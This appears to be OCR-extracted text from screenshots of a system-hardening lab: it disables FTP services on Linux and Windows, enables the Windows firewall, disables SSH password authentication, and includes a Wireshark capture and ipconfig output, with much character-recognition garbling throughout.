Efome =@ m feGE @ w2t
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londonlogin@L-CD:™$ sudo systemctl stop vsftpd
londonlogineL-Co: s sudo systemctl disable vsftpd
sunchronizing state of vsftpd.service with Susv service script with /usr/lib/systend/systend-susv-install.

Execut iny

/usr/1ib/systemd/systemd-sysv-install disable vsftpd

Removed '/etc/Systemd/systen/multi-user . target.uants/vsf tpd.service' .
londonloginal-CD:~$ sudo systemctl status vsftpd

+ vsftpd.service - vsftpd FTP server

Loaded: loaded (/usr/lib/systend/system/vsftpd.service; disabled; preset: enabled)
Active: inactive (dead)

ar
Mar
Mar
Mar
Mar
Mar
M

18
18
13
13
13
13
19

sustend[1]: Starting vsftpd.service - vsftpd FTP server...
sustend(1]: Started vsftpd.service - vsftpd FTP server.

vsftpd[2254) : pam_unix(vsftpd:auth): check pass; user unknoun

vsftpd[2254) : pam_unix(vsftpdiauth): authentication failure; logname= uid=e euid=e tty=ftp ruser:
sustend[1]: Stopping vsftpd.service - vsftpd FTP server...

sustend[1]: vsftpd.service: Deactivated successfully.

cuctemdl1]: Stonned veftnd corvice - vefind ETP capver

) rhost

£££:192.168.1.50
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PS C:\Users\Administrator> Disable-WindowsOptionalFeature -Online —FeatureName IIS-FTPServer

Ppath
online
RestartNeeded

PS C:\Users\Administrator>
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Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved

Jc: \Users\Administrator>netsh advfirewall set allprofiles state on

c: \Users\administrator>_

B Administrator: Windows Power..

o118

O e B o03200 Y
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LondonlogingL-CD:~$ sudo rm -rf /var/uww/html/test
{sudo] passuord for londonlogin:
londonlogingL-C0:~$ s /var/wm/html/

index.htnl vulnerable.php

londonlogingL-CD: ™S
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B L0 [Running] - Oracle VirtualBox - o X

# To disable tunneled clear text passuords, change to “no" here!
PassuordAuthent ication no
#PermitEnptyPassuords no

# Change to "ues" to enable keuboard-interactive authentication. Depending on
# the systen's configuration, this may involve passuords, challenge-response,
# one-tine passuords or some combination of these and other methods.

# Beware issues with some PAM modules and threads.

KodInteract iveAuthent icat ion no

¥ Kerberos options
#kerberosAuthent icat ion no
#kerberosOrLocalPassud yes
#erberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
¥6SSAPTAUthent icat ion no
#GSSAPICleanupCredent ials yes
#GSSAPIStrictAccentorCheck yes
#GSSAP IKeyExchange no

¥ Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will

londonlogingL-CD:™$ sudo sustemctl restart sshd
londonlogingL-CD:"$ sudo systenct] status sshd
- ssh.service - OpengSD Secure Shell server
Loaded: loaded (/usr/lib/systemd/systenssh.service; enabled; preset: enabled)
Active: active (running) since Thu 2626-63-13 13:43:28 GNT; 3min 365 ago
Invocation: 4af533d145cd4gedaseeacsasabacsae
Docs: man:sshd(8)
man:sshd_conf ig ()
Process: 3084 ExecStartPres/usr/sbin/sshd -t (codesexited, status=e/SUCCESS)
Main PID: 3086 (sshd)
Tasks: 1 (Limit: 2303)
1.3M (peak: 1.94)
130ms
: 7sustem.slice/ssh.service
'-3086 "sshd: /usr/sbin/sshd -D [listener] @ of 10-100 startups”

Mar
Mar
Mar

28 L-C0 systemd[1]: ssh.service: Deactivated successfully.
28 L-CD sustemd[1]: Stopped ssh.service - OpenBSD Secure Shell server.
28 L-CD systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...

ar 28 L-CD sshd[3086] : Server listening on 0.0.6.6 port 22.

var 28 L-C0 sshd(3086] : Server listening on :: port 22.

var 13 13:43:28 L-CO sustend[1]: Started ssh.service - OpengSD Secure Shell server.

londonlog - - —— —— — —
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Applications ~  Places ~ Wireshark ~ Sun20:49 w [

=]
*ethl e e
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A = @ B[ RE QA « » J 1« _ = @ @ @ IF

Apply a display filter ... <Ctrl- =3 ~| Expression. o

Time Source Destination Protocol Len

157 46.731487696 192.168.1.1 192.168.1.50 TCP
158 48.835429340 192.168.1.50 192.168.1.1 DNS
159 48.835790992 192.168.1.50 192.168.1.1 DNS
160 48.836604811 192.168.1.1 192.168.1.50 DNS
161 48.836613487 192.168.1.1 192.168.1.50 DNS

< >

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface €
Ethernet II, Src: PcsCompu_1f:bd:82 (©8:00:27:1f:bd:82), Dst: PcsCompu_43:e9:ad (

>
»
» Internet Protocol Version 4, Src: 192.168.1.50, Dst: 192.168.1.1
>

©8 00 27 43 e9 ad 08 00 27 1f bd 82 ©8 00 45 00 'c ' E
©0 34 f2 d2 40 00 40 66 c4 6d cO a8 ©1 32 cO a8 4--@-@e m 2
©1 01 ea 74 01 bd ©2 89 fa bb 4a al l1e b5 80 14 t J

[8Bc 6c 63 17]

wireshark_ethl_20..805_80oFcSG.pcapng
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C:\Users\Administrator>ipconfig

windows IP Configuration

Ethernet adapter Internet:

Connection-specific DNS Suffix
IPV6 Address. . . . . . . . .
Link-local IPv6 Address . . .
IPva Address. . . . . . . . .
Subnet Mask . . . . . . . . .
Default Gateway . . . . . . .

Ethernet adapter IntSw:

Connection-specific DNS Suffix
Link-local IPv6 Address . . .
IPva Address. . . . . . . . .
Subnet Mask . . . . . . . . .
Default Gateway . . . . . . .

Ethernet adapter External:

Connection-specific DNS Suffix
Link-local IPv6 Address . . .
IPva Address. . . . . . . . .
Subnet Mask . . . . . . . . .
Default Gateway . . . . . . .

C:\Users\Administrator>,

communityfibre.co.uk
£d17:625¢: £037:2: cFdO:7C37
fe80: :e147:b674:a231:8284%7

7cc:3d7
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